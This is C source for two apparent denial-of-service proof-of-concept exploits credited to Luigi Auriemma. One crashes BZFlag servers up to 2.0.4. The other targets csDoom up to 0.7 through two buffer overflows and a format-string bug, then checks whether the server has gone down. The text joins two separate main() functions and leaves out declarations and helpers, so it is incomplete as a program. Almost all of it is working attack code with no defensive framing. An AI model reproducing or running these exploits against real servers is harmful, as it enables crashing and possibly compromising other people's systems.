int main(int argc, char *argv[]) {
struct sockaddr_in peer;
u_int seed;
int sd;
u_short port = PORT,
len;
u_char buff[BUFFSZ],
callsign[CALLSIGNSZ + 1],
mail[MAILSZ + 1],
token[TOKENSZ + 1],
version[VERSIONSZ + 1],
code[2];
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"BZFlag <= 2.0.4 (2.x) server crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n"
" This tool works also versus servers protected by password without knowing the\n"
" keyword!\n"
"\n", argv[0], port);
exit(1);
}
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
fputs("- check server version: ", stdout);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(timeout(sd, TIMEOUT) < 0) {
printf("\nError: no reply received within %d seconds, this server doesn't seem valid\n\n", TIMEOUT);
exit(1);
}
tcp_recv(sd, buff, 9);
printf(" %s\n", buff);
if(memcmp(buff, "BZFS", 4)) {
fputs("- this server doesn't seem a valid BZFlag server, I try to continue\n", stdout);
} else {
if(memcmp(buff + 4, "00", 2)) {
fputs("- this server uses a version which is not vulnerable, I try to continue\n", stdout);
}
}
if(!timeout(sd, 0)) { // 2.0.4 sends data while the previous 2.0 not
len = bzflag_recv(sd, buff, code);
}
create_rand_string(callsign, CALLSIGNSZ, &seed); // <=== THE BUG IS HERE
create_rand_string(mail, MAILSZ, &seed);
create_rand_string(token, TOKENSZ, &seed);
create_rand_string(version, VERSIONSZ, &seed);
bzflag_send(sd,
buff,
"en",
2, TYPE,
2, TEAM,
CALLSIGNSZ, callsign,
MAILSZ, mail,
TOKENSZ, token,
VERSIONSZ, version,
0);
len = bzflag_recv(sd, buff, code);
if(memcmp(code, "ac", 2)) {
buff[len] = 0;
printf("\n"
"Error: code \"%.2s\"\n"
"%s\n"
"\n",
code, buff + 2);
}
close(sd);
fputs("- check server:\n", stdout);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(
(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) ||
(timeout(sd, 3) < 0)) {
fputs("\n Server IS vulnerable!!!\n\n", stdout);
} else {
fputs("\n"
" Server doesn't seem vulnerable\n"
" RELAUNCH THIS TOOL OTHER TIMES UNTIL YOU ARE UNABLE TO CRASH IT!!!\n"
"\n", stdout);
}
close(sd);
return(0);
}
int main(int argc, char *argv[]) {
u_int seed;
int sd,
i,
len,
chall = CHALLENGE,
attack;
u_short port = PORT;
u_char buff[BUFFSZ],
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"csDoom <= 0.7 multiple vulnerabilities " VER "\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attack:\n"
" 1 = buffer-overflow in SV_BroadcastPrintf\n"
" 2 = buffer-overflow in SV_SetupUserInfo\n"
" 3 = format string in Printf\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
seed = time(NULL);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
printf("- query server:\n");
p = buff;
PUT32(p, LAUNCHER_CHALLENGE);
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
chall = info_proto(buff, len);
printf("- start connection:\n");
p = buff;
PUT32(p, chall);
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
if(buff[0] != S2C_CHALLENGE) {
close(sd);
if(buff[0] == S2C_FULL) {
printf("\nError: server is full\n\n");
} else {
printf("\nError: client has not been accepted (%hhu)\n\n", buff[0]);
}
exit(1);
}
p = buff;
PUT16(p, VERSION);
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
if(buff[0] != S2C_CONNECTION) {
close(sd);
printf("\nError: your client has been disconnected (wrong version?) (%hhu)\n\n", buff[0]);
exit(1);
}
p = buff;
*p++ = clc_userinfo;
if(attack == 2) { // nickname
printf("- send big nickname\n");
p += create_bof_string(p, BOFSZ1);
} else if(attack == 3) {
printf("- send formatted nickname\n");
p += mycpy(p, FORMATSTRING);
} else {
printf("- send nickname\n");
p += create_rand_string(p, 16, &seed);
}
p += create_rand_string(p, 16, &seed); // teamname
PUT32(p, seed); // rate value
if((attack == 2) || (attack == 3)) {
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);
goto quit;
}
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
if(attack == 1) {
printf("- send big say message\n");
p = buff;
*p++ = clc_say;
p += create_bof_string(p, BOFSZ2);
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);
}
// printf("- disconnect\n");
// p = buff;
// *p++ = clc_disconnect;
//
// len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);
quit:
close(sd);
printf("- wait some seconds\n");
for(i = 3; i; i--) {
printf("%d\r", i);
sleep(ONESEC);
}
printf("- check server:\n");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
p = buff;
PUT32(p, LAUNCHER_CHALLENGE);
if(send_recv(sd, buff, p - buff, buff, sizeof(buff), 0) < 0) {
printf("\n Server IS vulnerable!!!\n\n");
} else {
printf("\n Server does not seem vulnerable\n\n");
}
close(sd);
return(0);
}
